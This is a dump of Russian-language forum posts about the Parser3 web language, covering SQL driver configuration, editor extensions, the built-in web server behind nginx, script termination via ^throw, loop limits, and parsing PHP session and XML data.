^eval(2 * ^untaint{$x}) //error"
"85787","Вообще сомнительная затея иметь мат. выражения в строках. Но если у вас такие входящие данные, то я бы их парсил, а потом уже делал мат. операции.\
Без строгой типизации у вас ничего путного не выйдет, потому что там, где такие входящие данные, может быть и мусор, который всегда будет выдавать исключение."
"85789","Достаточно вспомнить, что парсер сначала компилирует исходный код (что включает в себя разбор выражений), а потом исполняет полученный [url=\"https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D0%B9%D1%82-%D0%BA%D0%BE%D0%B4\"]байт-код[/url]."
"85790","[code]$a(^a.int(0))\
$b(^b.int(1))\
\
^switch[$operator]{\
	^case[*]{\
		$result($a * $b)\
	}\
	^case[/]{\
		$result($a / $b)\
	}\
	^case[+]{\
		$result($a + $b)\
	}\
	^case[-]{\
		$result($a - $b)\
	}\
}[/code]"
"85791","[code]\
\
$result(5)\
\
$x[*2]\
$n(^x.match[\\D*][g]{})\
\
^switch(true){\
	^case(^x.match[(\\+)][n]){\
		^result.inc($n)\
	}\
	^case(^x.match[(\\-)][n]){\
		^result.dec($n)\
	}\
	^case(^x.match[(\\*)][n]){\
		^result.mul($n)\
	}\
	^case(^x.match[(\\/)][n]){\
		^result.div($n)\
	}\
}\
\
# 5*2=10\
$result\
[/code]"
"85792","Математические выражения - это такой же код, как и любые другие команды языка. Вы хотите создать динамический код (метапрограммирование) без применения ^process, но зачем, любой алт метод не прибавил бы скорости и безопасности.\
\
Можете стринг в файл(in-memory/tmp) писать и оттуда ^use делать перегружая какой нить метод, но см.выше"
"85793","Переезжаю на новый vps.\
Установил ubuntu. Поставил VestaCP. Настроил Apache.\
Добился, чтобы заработал parser3_4_6_debian10x64.tar.gz (из раздела \"Скачать\").\
Но вот на эту ошибку уже сил нет:\
\
[quote]/home/bl12/web/my.site/cgi-bin/lib/libparser3mysql.so\
\
driver failed to initialize client library '/home/bl12/web/my.site/cgi-bin/lib/system/libmysqlclient.so', /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.28' not found (required by /home/bl12/web/t3.black-list.dog/cgi-bin/lib/system/libmysqlclient.so)\
\
/home/bl12/web/my.site/public_html/../engine/Sql.p(76:18)[/quote]\
\
Подскажите, [b]Как соединить Parser с MySQL ?[/b]\
\
\
ОС: ubuntu 18\
Parser(https://my.site/cgi-bin/parser3.cgi): Parser/3.4.6 (compiled on x86_64-unknown-linux-gnu)\
MySQL(по словам phpMyAdmin):\
Сервер баз данных\
    Сервер: Localhost via UNIX socket\
    Тип сервера: MySQL\
    Версия сервера: 5.7.33-0ubuntu0.18.04.1 - (Ubuntu)\
    Версия протокола: 10\
\
root@server:~# sudo apt install libc6\
Reading package lists... Done\
Building dependency tree       \
Reading state information... Done\
libc6 is already the newest version (2.27-3ubuntu1.4).\
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded."
"85794","Узнать его точное название на своей OS (libmysqlclient.so.18?) и указать его (можно без пути) в конфигурационном auto.p вместо прилагаемого в пакете парсера.\
\
https://www.parser.ru/docs/lang/?parserconfmethod.htm"
"85795","Поискал:\
[code]root@server:~# find / -name libmysqlclient.so*\
/usr/lib/x86_64-linux-gnu/libmysqlclient.so.20\
/usr/lib/x86_64-linux-gnu/libmysqlclient.so.20.3.20\
[/code]\
\
Заменил в auto.p\
\
[code]$SQL[\
$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/system/libmysqlclient.so\
}]\
][/code]\
\
на\
\
[code]$SQL[\
$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/x86_64-linux-gnu/libmysqlclient.so.20\
}]\
][/code]\
\
Без пути тоже работает:\
\
[code]$SQL[\
$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so.20\
}]\
]\
[/code]"
"85796","Написал на базе своей подсветки для Sublime Text\
\
https://marketplace.visualstudio.com/items?itemName=unhandled-exception.parser3-code\
\
Альтернативы:\
— [url=https://marketplace.visualstudio.com/items?itemName=TonySkorik.parser3-language-support]Развесистое расширение Тони Скорика [/url]\
— [url=https://marketplace.visualstudio.com/items?itemName=viatsko.parser3]Классическое расширение Валерия Яцко[/url] (похоже не поддерживается автором)"
"85797","Правда похоже, как и расширение Тони Скорика, оно подсвечивает известные ему слова в \"просто тексте\", см. [url=\"http://moko.ru/misc/vscode.png\"]картинку[/url]."
"85798","Я решил, что лучше пусть в тексте лишнее подсвечивает, зато в орме будет подсветка эскуэля"
"85799","Всем привет!\
\
Давненько я тут не был, - думал помер парсер, ан нет :) ну и хорошо. Но собственно тут я не поэтому. Я гляжу код парсера появился на гитхабе, как и год sql драйверов, может студия форкнет себе мой репозиторий с MS SQL драйвером https://github.com/aegoroff/parser3mssql и будет его развивать если надо, я лично на него давно забил и проект отправил в архив - он теперь только для чтения"
"85800","Теперь найти будет куда проще при необходимости. Что касается развития - пока не уверен, нам вполне хватает odbc драйвера для работы с MsSQL. Хотя тут вижу даже биндинг переменных реализован, так что кто его знает, может будет потребность..."
"85801","Один из недостатков драйвера (на самом деле не его а низкоуровневого API MS SQL), как мне видится, это не самая эффективная реализация опции offset, - насколько я помню там нет нормальной поддержки смещения, поэтому сделано через некоторые хаки"
"85802","[code]ORDER BY order_by_expression  \
    [ COLLATE collation_name ]   \
    [ ASC | DESC ]   \
    [ ,...n ]   \
[ <offset_fetch> ]  \
  \
<offset_fetch> ::=  \
{   \
    OFFSET { integer_constant | offset_row_count_expression } { ROW | ROWS }  \
    [  \
      FETCH { FIRST | NEXT } {integer_constant | fetch_row_count_expression } { ROW | ROWS } ONLY  \
    ]  \
}  [/code]\
\
\
https://docs.microsoft.com/ru-ru/sql/t-sql/queries/select-order-by-clause-transact-sql?view=sql-server-ver15\
\
И очень похоже, что его можно добавлять как limit/offset для других баз. С мелкой проблемой. После ORDER BY может еще идти выражение OPTION  и если делать совсем красиво, придется парсить запрос и вставлять опции до OPTION :)\
\
https://docs.microsoft.com/ru-ru/sql/t-sql/queries/select-transact-sql?view=sql-server-ver15"
"85803","Много воды утекло с тех пор, возможно и в низкоуровневый API это добавили :) А парить запрос не самая большая проблема если честно\
\
\
UPDATE: Наверно все таки есть - https://docs.microsoft.com/ru-ru/sql/odbc/reference/develop-app/relative-and-absolute-scrolling?view=sql-server-ver15\
\
т.е. в теории драйвер можно сильно улучшить :)"
"85804","А есть шанс получить mssql/odbc драйвер под linux?"
"85805","Кто знает, почему что в atom, что в vscode в файлах парсера \"CTRL + /\" ставит решетку не в начале строки, а в начале текста (после табов) и соответственно это не работает как комментарий. Особенность среды? Подсветки?"
"85806","На стек оверфлоу есть примеры как всякими макросами и сторонним расширением полечить.\
\
Я чуть попрзже сделаю команды в расширении."
"85809","Она очень агрессивная и подсвечивает кучу лишнего. Технически можно сделать подсветку только для конструкций, вложенных в table:sql и подобных, но это не сильно поможет тем, кто использует подсветку через sql-классы, ORM's и прочее. Так что пока пусть лучше совсем без подсветки sql пока поживем."
"85811","У нас (студии) есть возможность работы с MsSQL под Windows, поэтому такой потребности нет.\
А в теории так понимаю есть [url=\"http://www.unixodbc.org/\"]unixODBC[/url], который есть во всех дистрибутивах, так что технически это вроде как реализуемо. Но по беглому взгляду API сильно отличается от того, что в Windows, то есть это отдельный драйвер надо делать."
"85812","Здравствуйте.\
Есть ли примерный конфиг для nginx под windows для версии парсера 3.4.6 (x64)?"
"85813","Для истории - под Windows столкнулись с задержкой в 2 секунды при подключении через libmySQL.dll версии 5.7.28 к серверу mysql 4.X.X. Дело оказалось в ipv6, помогла замена localhost на 127.0.0.1. :)"
"85814","Необходимый минимум включает в себя:\
—знание парсера. :)\
—знание HTML, CSS, JavaScript и SQL.\
\
Примеры кода (от 30kb, законченность значения не имеет)\
и ссылки на свои работы (сайты) посылать на moko@design.ru.\
\
Note: не упускайте свой шанс. :) Прошлый раз наша вакансия здесь была в 2015 году."
"85815","Суть проблемы, нужно подключиться к MSSQL базе с сервера на Debian, решил попробовать для этого FreeTDS.\
\
Что получилось, из командной строки с помощью утилиты tsql соединение происходит, запросы писать можно.\
\
Хотел подключить через стандартный ^connect, для этого в таблицу $SQL добавил:\
[code]odbc    /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so    /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so[/code]\
\
подсмотрел из примера на Python, добавил:\
\
[code]$SQL.connect-string[odbc://DRIVER=FreeTDS^;SERVER=111.111.111.111^;DATABASE=Some.Base^;UID=login^;PWD=password][/code]\
\
Стандартный ^connect возвращает: function 'create' was not found\
\
Что еще можно попробовать?"
"85816","У парсера свои драйвера для работы с SQL серверами. Произвольно взятая библиотека libtdsodbc.so естественно не является SQL драйвером парсера и не поддерживает его API. [url=\"https://github.com/artlebedev/parser3-sql/blob/master/odbc/parser3odbc.C\"]ODBC драйвер парсера[/url] завязан на Windows. Для работы с libtdsodbc.so надо делать отдельный драйвер, о чем [url=\"/forum/?id=85811\"]писал[/url] ранее."
"85817","Знаю, что это не совсем профессионально, но я сделал такое:\
1) На компьютере с Windowsом и MS-SQL поставил Apache + Parser3\
в ном простое API, несколько скриптов, которые решают нужные задачи\
Это была именно система продажи и управления складом товаров.\
\
2) На сервере Unix сайт который соединяется когда нужно с 1)\
...а это был интернет-магазин\
\
Работало до того как какой-то специалист обновил систему продажи.\
И потом другой специалист решил менять интернет-провайдера и все просто отключилось ;)"
"85818","Возможная удаленная работа?"
"85820","Напишите отзывы об использовании Parser в качестве веб-сервера. Подводные камни, плюсы, минусы. Особенно интересно услышать отзывы от тех, кто использует его в production."
"85821","Все оказалось очень просто.\
В директории достаточно двух файлов: parser3 и auto.p\
Содержимое auto.p минимум может состоять из четырех строк, кроме них вообще ничего не нужно:\
\
@CLASS\
httpd\
@main[]\
$request:uri\
\
Я запустил parser3.exe -p localhost:8000, он сразу повис в процессах - объем 1880 кб или около того. Загрузка 0%, и при запросе не поднималась выше 0%.\
\
В случае ошибки запуска выдает понятный текст в консоль. При ошибке выполнения отправляет ее в броузер, но это потому что я не переопределил @unhandled_exception.\
\
Открыл http://localhost:8000/something.html?a=b и в броузер закономерно пришло something.html?a=b\
\
Понятно, что сразу же можно задавать статус ответа, необходимые заголовки, и т.д. \
\
Не очень понятно, куда помещать $cfg[$.parser[(\\.html^$)]] и чем он обрабатывается.\
Но это не критично, поскольку проще реализовать всю логику своими методами (ура! наконец-то сервер без собственного языка конфига!) \
\
Понравилось, что при каждом запросе auto.p подгружается заново - то есть, для отладки не надо перезапускать вебсервер, как это сделано в node.js. \
\
Разобрался в вопросе примерно за 25 минут от момента открытия мануала до появления ответа сервера в броузере.\
\
Вопрос: вы пишете, для шифрования нужен nginx. А может, вместо этого можно как-то шифровать контент через ^file:exec[]? В HTTPS увы, не силен.\
\
\
Насчет продакшна: SPA пойдет сразу без вопросов, вот только с https разберусь."
"85823","[quote]Не очень понятно, куда помещать $cfg[$.parser[(\\.html^$)]] и чем он обрабатывается.[/quote]\
\
В дистрибутиве парсера есть своя реализация веб-сервера (класса httpd). Настройка актуальна, если пользоваться ей. https://github.com/artlebedev/parser3/blob/master/etc/auto.p.in\
\
[quote]Вопрос: вы пишете, для шифрования нужен nginx. А может, вместо этого можно как-то шифровать контент через ^file:exec[]? В HTTPS увы, не силен.[/quote]\
\
Нет, шифрование должно поддерживаться на уровне кода парсера (он разбирает заголовки запроса, которые тоже шифруются). https сложен и в конфигурировании, и в кросс-платформенной реализации, поэтому мы не стали с ним связываться. Но помимо nginx можно пользоваться например сервисами, которые могут выступать в качестве https прокси. Например https://www.cloudflare.com/."
"85824","... особенно, когда на сайте авторизация, данные клиентов и прочее приятное. \
\
Энжинкс плюс летсэнкрипт несложно настроить за полчасика.\
\
— https://www.digitalocean.com/community/tutorials/how-to-install-nginx-on-ubuntu-20-04-ru\
— https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-20-04-ru\
\
\
p.s. Я использую вместо сертбота dehydrated (https://github.com/dehydrated-io/dehydrated), но сейчас любой acme-клиент прекрасно справляется с задачей. :)"
"85825","или уже перешли на что то более современное?"
"85826","Случаем не делали обновление документации под Mac программу Dash kapeli.com/dash ?"
"85827","Хотя лишним его знание не будет. У нас нет жестких требований по технологическому стеку, выбор конкретных технологий реализации у нас обычно отдается на откуп разработчикам."
"85828","location / {\
   proxy_pass http://localhost:8000 \
   proxy_set_header header_name $nginx_variable\
}\
В принципе больше ничего не надо."
"85829","Ковыряюсь в новом (с веб-сервером) Парсере, хочу перенести всё на новый лад.\
Соответственно перекраиваю корневой (конфигурационный) auto.p\
\
И встретил в новой версии Пармера в auto.p-конфиге конструкции вида:\
\
[code]\
@config[result]\
\
[/code]\
\
Листнул доку, чет с ходу в главе \"Определямые пользователем классы и методы\" не нашел. \
\
Я помню, что киворд result - в секции locals - дает особое поведение по элиминации пробельных символов. \
\
Есть ли доп.\"сакральный трюк\" (просто в Парсере их есть, поэтому специально спрашиваю) втыкать киворд result в секции входящих параметров, кроме как замкнуть входящий параметр сразу на вывод того же самого?\
\
\
И еще порадовало вот это:\
\
[code]\
@preprocess[return]\
...\
@main[result][basic]\
...\
^preprocess{^return[]}\
[/code]\
\
Че тут вообще происходит с return? :) Догадки есть, но более одной, поэтому хочется комментария от авторов."
"85831","[quote]@config[result]\
\
Есть ли доп.\"сакральный трюк\" (просто в Парсере их есть, поэтому специально спрашиваю) втыкать киворд result в секции входящих параметров, кроме как замкнуть входящий параметр сразу на вывод того же самого?[/quote]\
\
Других смыслов нет.\
\
Это прокси-метод, не возвращающий свой результат, а пробрасывающий переданное на вход, с модификацией или без.\
\
Удобно во всяких пред- и пост-преобразованиях: метод по умолчанию ничего не изменяет, но его можно переопределить и организовать преобразование данных, не трогая основной код.\
\
[quote]@preprocess[return]\
...\
@main[result][basic]\
...\
^preprocess{^return[]}[/quote]\
\
Применения этому в конфигурации не вижу.\
\
Думаю, автор, передавая [i]^return[][/i] контекста [i]@main[][/i], предусмотрел возможность в переопределённом [i]@preprocess[][/i] вызвать полученный [i]^return[][/i] и остановить обработку запроса.\
\
Но с какой целью — неясно."
"85832","... и показывает странное время, которое явно больше времени отработки запроса и все время растет с каждым refresh'ем браузера.\
\
Причем на полный uptime жизни процесса оно вроде тоже не похоже, процесс висит пару часов, но показывает какие-то а-ля 41.864736 (sec) - и число после запятой всегда растет.\
\
Если, что по части \"повторить явление\". \
1) Debian 10 x64 (lxc-образ)\
2) Ковырялся с нуля вывел $status:rusage.utime в @unhandled_exception в корневом auto.p"
"85834","[quote]Думаю, автор, передавая ^return[] контекста @main[], предусмотрел возможность в переопределённом @preprocess[] вызвать полученный ^return[] и остановить обработку запроса.\
[/quote]\
\
Именно так.\
\
[quote]Но с какой целью — неясно.[/quote]\
\
Да много может быть ситуаций, когда захочется пропустить дефолтную логику отдачи результата. Например при выдаче редиректа. И если задать результат работы вызывающего метода можно через $caller.result, то штатного способа прекратить работу вызывающего метода нет, поэтому используется такой трюк - использование локальной переменной $return в @preprocess[] прерывает работу @main[]. И кстати не могу вспомнить никакого другого языка, где возможен такой трюк. :)"
"85835","... без времени, когда процесс простаивал или не получал квант времени от планировщика ОС. Если мы хотим посчитать полное время работы cgi-процесса, то нам надо сложить utime и stime. А вот для демона такое не пройдет — если демон заблокировался на селекте на сокете, т.е. ждет запросов по сети и у него нет никаких параллельных тредов для других задач, то у него не будет расти ни utime ни stime. Нагрузите запросами свой процесс и utime/stime будут постоянно расти. \
\
Есть еще нюанс. Если сервер сильно нагружен кучей процессов, то посчитать корректное время запроса по utime+stime нельзя — планировщик ОС может в процессе обработки одного запроса многократно переключать ваш процесс и utime при этом будет замирать. \
\
Поэтому если хотите универсально считать время исполнения запроса, то надо в начале скрипта сохранить tv_sec/tv_usec, а в конце посчитать разницу с текущими tv_sec/tv_usec.\
\
p.s. https://man7.org/linux/man-pages/man2/getrusage.2.html"
"85838","… accept тоже блокирует процесс, как и селект. ;)"
"85839","...вместо\
[code]@preprocess[return][/code]\
\
могло бы быть любое именование аргумента метода \
\
т.е. и\
[code]\
@preprocess[code]\
\
@main[]\
^preprocess{^return[]}\
[/code]\
\
сработает же?"
"85840","[quote]Да много может быть ситуаций, когда захочется пропустить дефолтную логику отдачи результата. Например при выдаче редиректа.[/quote]\
\
Ясно, так и предполагал.\
Альтернатива специфическому исключению."
"85841","[quote]@preprocess @main[] ^preprocess{^return[]} сработает же?[/quote] Конкретно пустой [i]@preprocess[/i] обработку запроса не останавливает. Хотел написать, что будет работать при любом названии параметра, но понимаю (и проверил), что как раз при названии параметра [i]return[/i] остановки выполнения не происходит из-за [url=https://www.parser.ru/forum/?id=85552]приоритета операторов над аргументами[/url]. [code]@preprocess[return]\
not works\
^return[]\
# @preprocess[stop] works \
# ^stop[] \
@main[]\
^preprocess{^return[]}\
main result[/code]"
"85846","В @conf[], и если Linux. И все будет как раньше. :) А в других режимах да, считает накопительно по всем принятым запросам."
"85847","Это же не ссылка на метод, чтобы его через ^ вызывать, а код..."
"85848","Я, что-то, задумался."
"85849","[quote]И если задать результат работы вызывающего метода можно через $caller.result, то штатного способа прекратить работу вызывающего метода нет, поэтому используется такой трюк [/quote]\
\
Я понимаю, что это чисто авторская имплементация, и чисто ситуативный и даже мастер-классовый (кстати весьма прикольный) пример, как вообще можно. Потому, что будь это цепочка вызовов, то, как я понимаю, пришлось бы прокидывать return везде и всюду (если прям включить жадину до лишних вычислений).\
\
У Парсера же нет безусловной остановки скрипта, как die() у Perl или exit(),quit() у Python? Но при этом \"не пригодилось\" столько лет.\
\
Я понимаю, что лучше стараться писать максимально последовательную логику, и стараться поменьше влетать в инверсию управления с такими кейсами, но реальность всегда сложнее.\
\
Кстати, в документации написано, что ^break[] вне циклов - вызывает ошибку компиляции, что вполне хороший кандидат на применение его в качестве безусловной остановки скрипта и сохранением обратной совместимости.\
\
Понятно, что чисто технически существует как минимум 2 способа реализации такого поведения: \
- один, как в примере auto.p с выбросом ^return[] в контексте всех методов\
- второй, что-нить типа ввести служебный код ошибки и обтравив основную точку старта в  ^try{} - райзить через ^throw[] сценарий безусловной \"штатной\" остановки (если я все правильно представляю, как это сработает)\
\
Но читаемость, что первого, что второго - на большом коде, скажем, такая себе. Представляю себе дебаг цепочки вызова этих остановок, или обертка всего кода сразу в ^try{} :) выглядит как \"индийский патч\" и сбивает с толку."
"85850","Из консоли парсерные скрипты запускаются достаточно редко, а в случае CGI безусловный выход будет приводить к 500-ой ошибке - заголовки все равно надо вывести. Поэтому ^throw[], который можно по своему вкусу обработать в @unhandled_exception - правильный вариант остановки выполнения скрипта.\
\
Пример из жизни: после выдачи редиректа обычно уже ничего не надо делать, для чего бывает требуется делать проверки, усложнять логику работы, да и баги бывают, если забыть поставить проверку. Поэтому на одном проекте редирект был реализован через ^throw[].\
\
[code]@redirect[sUrl;sType]\
^throw[redirect;^if($sType eq external){^self.serverURI[]}$sUrl]\
\
...\
\
#Далее в глобальном catch или в @unhandled_exception:\
\
^if($exception.type eq 'redirect'){\
      $response:location[^taint[as-is;$exception.source]]\
      ...\
}\
[/code]"
"85851","[code]\
@main[]\
  ^run{\
    ...\
    ^exit(1)\
    ...\
  }\
\
@run[code]\
^try{\
  $result[$code]\
}{\
  ^if($exception.type eq \"exit\"){\
    $exception.handled(true)\
    $response:status[$exception.source]\
  }\
}\
\
@exit[exit_code]\
  ^throw[exit;^exit_code.int(0)]\
\
[/code]\
\
Так что +1 по всем фронтам :)"
"85853","Речь шла, конечно, о \"мягкой\" остановке самого байткода парсера, в полной аналогии с примером ^throw -> @unhandled_exception[] \
\
Кстати, да, вот без catch-области, а именно в самом @unhandled_exception ловить, это выглядит красиво. \
\
И в этом смысле, действительно лучше иметь меньше способов безусловного прерывания, нежели вводить еще один типа ^break[] в теле. \
\
Тем более, получается, что с помощью связки ^throw[] -> @unhandled_exception[] можно вполне реализовать свой \"лунапарк\", в том числе и в виде сподручного оператора, как метода для MAIN и/или базового класса всех пользовательских классов.  \
\
Спасибо за оперативные ответы, будем ковыряться."
"85854","Для CGI удобны [i][url=https://github.com/unhandled-exception/pf2/blob/928da7dbc5270c29de31dca77596d83aa83889ec/lib/web/controllers.p#L238]try + catch[/url][/i].\
При работе в консоли зачастую код крутится в бесконечном цикле, где штатно работает [i][url=https://github.com/gzzz/parser/blob/371b2f4422abf02855ef6c7b94bd9144a15b3a80/executor/p3#L210]^break[][/url][/i]."
"85855","или может в самом парсере есть механизм?"
"85856","Это же просто способ превратить размеченную строку в таблицу/хэш, так ведь?\
Для таблиц это можно сделать через ::create[строка], но необходимо предварительно расставить переводы строк, т.е. заменить ваш разделитель пар данных на перевод строки. \
\
$encoded[param=value&a=1&b=2]\
$encoded[^encoded.replace[&;\
]]\
$c[^table::create{$encoded}[ $.separator[=] ]]\
Это создаст таблицу с заголовками param и value.\
\
Значения полей таблицы могут быть только строками (или числами, которые прозрачно переводятся в строки или наоборот, это неважно). \
\
Помните, что внешние данные может потребоваться очищать с помощью ^taint[as-is][] или ^untaint{}\
\
Для хэша нужно писать свой метод, у меня есть, надо?"
"85857","пример:\
[code]__flash|a:1:{s:9:\"emailsent\";i:-1;}__id|i:27;__expire|i:1620831074;permissions|a\
:1:{s:6:\"mode\";s:32:\"E6B0BB3793B311E982A8545200E58E4C\";}emailsent|s:21:\"your e\
-mail sent well\";[/code]\
\
еслиб они ВСЕ переменньіе разделяли через \";\" вопросов бьіб не бьіло, но тут смешанное\
тобто тип \"а\" заканчивается на \";}\" или \"{}\" если пуст, тип стринг на `\";`\
у некоторьіх типов - есть размерность, у некоторьіх - нет.\
\
на коленке накидал simplecode ) (мне, на самом деле надо только __id и __expire вьітягивать, потому с object, array, reference - не заморачивался\
\
[code]  $lResult[^hash::create[]]\
\
  ^if(-f \"${phpPath}/sess_${PHPSESSID}\"){\
    $f[^file::load[binary;${phpPath}/sess_${PHPSESSID}]] \
    ^if($f.size >0){\
      $session[$f.text]\
      ^while(^session.length[] >0 && ^session.pos[|]>-1){\
        $variable[^session.mid(0;^session.pos[|])]\
        $lResult.$variable[^hash::create[]]\
        $session[^session.mid(^session.pos[|]+1)]\
\
        $lResult.$variable.type[^session.mid(0;^session.pos[:])]\
        $session[^session.mid(^session.pos[:]+1)]\
\
        ^switch[$lResult.$variable.type]{\
          ^case[s;S]{\
              $lResult.$variable.size[^session.mid(0;^session.pos[:])]\
              $session[^session.mid(^session.pos[:]+1)]\
\
              $lResult.$variable.value[^session.mid(1;^session.pos[\"^;]-1)]\
              $session[^session.mid(^session.pos[\"^;]+2)]\
          }\
          ^case[a;O;C;r;R]{\
              $lResult.$variable.size[^session.mid(0;^session.pos[:])]\
              $session[^session.mid(^session.pos[:]+1)]\
\
              ^if(^session.mid(0;2) eq \"{}\"){\
                $lResult.$variable.value[^session.mid(0;2)]\
                $session[^session.mid(2)]\
              }{\
                $lResult.$variable.value[^session.mid(0;^session.pos[^;}]+2)]\
                $session[^session.mid(^session.pos[^;}]+2)]\
              }\
          }\
          ^case[DEFAULT]{\
              $lResult.$variable.value[^session.mid(0;^session.pos[^;])]\
              $session[^session.mid(^session.pos[^;]+1)]\
          }\
        }\
      }\
    }\
  }\
\
\
  $result[$lResult]\
[/code]"
"85858","[code]\
@main[]\
$s[__flash|a:1:{s:9:\"emailsent\"^;i:-1^;}__id|i:27^;__expire|i:1620831074^;permissions|a:1:{s:6:\"mode\"^;s:32:\"E6B0BB3793B311E982A8545200E58E4C\"^;}emailsent|s:21:\"your e-mail sent well\"^;]\
^json:string[^fetch_session[$s];$.indent(true)]\
\
@fetch_session[php_session]\
 $result[^hash::create[]]\
 ^php_session.match[(__id|__expire)\\|i:(\\d+)\\^;][g]{\
   $result.[$match.1][$match.2]\
 }\
[/code]\
\
И получим:\
[code]\
{\
	\"__id\":\"27\",\
	\"__expire\":\"1620831074\"\
}\
[/code]\
\
p.s. Парсеровский pcre поддерживает рекурсивные выражения, так что, при желании, можно и всю сессию регуляркой разобрать."
"85860","Serialize в PHP не эскейпит кавычки, вместо этого хранится длина значения в байтах.\
\
[code]<?php\
$array = array(\
    \"1\" => \"PHP code tester \\\"Sandbox\\\" Online\",  \
    \"foo\" => \"bar\", 5 , 5 => 89009, \
    \"case\" => \"Random Stuff: \" . rand(100,999),\
    \"PHP Version\" => phpversion()\
);\
\
print(serialize($array));\
?>[/code]\
\
[quote]a:6:{i:1;s:32:\"PHP code tester \"Sandbox\" Online\";s:3:\"foo\";s:3:\"bar\";i:2;i:5;i:5;i:89009;s:4:\"case\";s:17:\"Random Stuff: 885\";s:11:\"PHP Version\";s:5:\"8.0.0\";}[/quote]\
\
Работать будет до первых кавычек в значении, а разобрать по длине нельзя, так как нет возможности оперировать байтами или указывать для строковых функций смещение в байтах."
"85864","...есть ли нативный способ сказать, что нет я не хочу защиту от зацикливания.\
\
И хочу $LIMITS.max_loop[infinite] что нить типа такого?\
\
Или с while каким-нить это работает из коробки?"
"85865","Это цитата из документации. :)"
"85866","Получится [url=https://github.com/artlebedev/parser3/blob/80f69bde765d4491a474e4c0885bba7a60eefbf9/src/main/pa_request.C#L325]INT_MAX[/url].\
\
Может и не хватить!"
"85867","[i]0[/i] или какое-нибудь [i]4294967296[/i] даст достаточный запас.\
Но на практике не очень удобно работать без ограничений если конфигурация общая для консоли и веба.\
\
Лично я ставлю предел порядка 100000.\
Демоны, висящие в секундном цикле, могут в сутки сделать по 86400 итераций — их я просто ежесуточно перезапускаю, что благотворно сказывается и на объёме используемой памяти."
"85868","Переменные from/to в _for, endless_loop_count в _while - все int, их значение не может быть больше INT_MAX. \
\
Другое дело, что парсер работает достаточно быстро, пустой while до INT_MAX прогоняется меньше, чем за 30 секунд. Правда даже с минимальным реальным кодом это будет на порядки дольше + требовать тонны памяти. Но если кому-то критично - в принципе несложно перейти на int64t и этого уж точно будет достаточно. :)"
"85870","Я исключительно о формальности, что 0 — не отключает проверки рекурсии, а устанавливает очень высокий порог."
"85871","Пока работает стабильно в связке с Nginx, проблем не замечено. \
Нагрузка - 6к запросов в день на самом дешевом виртуальном сервере. Не тормозит, но не тормозило и раньше, пока работал с CGI и Apache. \
Еще полный набор функций не подключал, как подключу - дополнительно отпишусь."
"85873","Я все мучаюсь вопросом: стоит-ли переходить и какие были-бы от этого \"плюшки\"."
"85875","Ну тут очевидно. \
1) Гибкость конфигурации\
2) Быстрота работы \
Собственно, те же причины что и у node.js\
\
Почему-то до сих пор забывают, что преимущества отдельного веб-сервера реализуются максимально для статического сайта, а как только появляется возможность выполнять свой код на сервере, такой сервер начинает выглядеть как куча ненужных функций."
"85877","Возможно, никто не использует такую связку.\
Встроенный веб-сервер работает, но не хочется на каждый хост запускать батник и выделять порт.\
\
Вообще связка [b]nginx + windows + parser 3.4.6 (x64)[/b] может работать по аналогии с apache + windows + parser?"
"85878","По аналогии с apache работать не может, поскольку в nginx нет поддержки cgi. Предлагаемые на форуме конфиги nginx используют fcgiwrap, которого вроде как нет под Windows (но похоже есть какие-то аналоги). \
\
Что касается встроенного веб-сервера, нет никакой необходимости \"на каждый хост запускать батник и выделять порт\". Ничего не мешает например в @preprocess[] анализировать $env:SERVER_NAME и менять $request:document-root на соответствующий конкретному сайту."
"85879","А если у каждого сайта свой конфиг в cgi/auto.p?\
Как в таком случае сделать, чтобы для сайта запускался именно его парсер со своим конфигом, который лежит вне корня веб-пространства?"
"85880","Приветствую всех! Подскажите как правильно сделать, с xml никогда не работал. Есть xml-документ полученный по системе электронного документооборота, в частности экспериментирую со счет фактурой. Документ имеет формат в соответствии с требованиями налоговой и имеет свои теги и атрибуты тегов на русском языке. Мне необходимо разобрать этот документ и по хорошему загнать его в хеш что бы было удобно оперировать. Заранее спасибо за ответы."
"85881","Парсер понятно будет один, который и работает в режиме веб-сервера. А с конфигом особых сложностей нет, надо только убрать метод @conf[] из файла с классом httpd и загрузить auto.p нужного сайта:\
\
[code]$request:document-root[site_folder]\
^use[/../cgi/auto.p]\
[/code]"
"85882","берем xml файл\
\
[code]$prodList[^xdoc::load[prodList.xml]][/code]\
\
дальше согласно его иерархии тегов выбираем элементы в хеш, например\
\
[code]$hashProdList[^prodList.select[/shop/offers/offer]][/code]\
\
при переборе хеша получаем аттрибуты тега\
\
[code]\
^hashProdList.foreach[index;offer]{\
	$prodID[^offer.selectString[string(@id)]]\
	...\
}\
[/code]"
"85883","https://github.com/samilyak/xslt-xml2json/tree/master/src например"
"85884","Но не хватает универсальности, видимо придется делать под каждый тип документов и под каждого оператора свой вариант, сами файлы несколько отличаются..."
"85886","Трансформируете свой xml узанным xslt-шаблоном (^документ.transform[шаблон]), получаете json. Передаете json методу ^json:parse[], получаете хеш."
"85887","[code]       $SMS_BODY[^json:string[\
        $.recipients[$lCellulars]\
        $.sms[\
          $.sender[$SMS_FROM]\
          $.text[$SMS_TEXT]\
        ]\
      ;$.table[compact]]]\
\
\
      ^curl:session{\
        $resp[^curl:load[\
            $.url[${SMS_API}]\
            $.ssl_verifypeer(false)\
            $.connecttimeout(5)\
            $.timeout(5)\
            $.content-type[application/json]\
            $.mode[text]\
            $.charset[UTF-8]\
            $.httpheader[$.Authorization[$SMS_AUTH_TYPE $SMS_AUTH_KEY]]\
            $.httppost[$SMS_BODY]\
#            $.postfields[$SMS_BODY]\
        ]]\
      }\
[/code]\
\
exception:\
[code]comment: \"failed to set option 'httppost': value must have hash representation\"\
type: \"parser.runtime\"[/code]\
\
при \
[code]     \
$SMS_BODY[\
        $.recipients[$lCellulars]\
        $.sms[\
          $.sender[$SMS_FROM]\
          $.text[$SMS_TEXT]\
        ]\
      ]\
[/code]\
оно естественно матюкается что\
[code]comment: \"is hash, form option value can be string, table or file only\"\
type: \"curl\"[/code]\
\
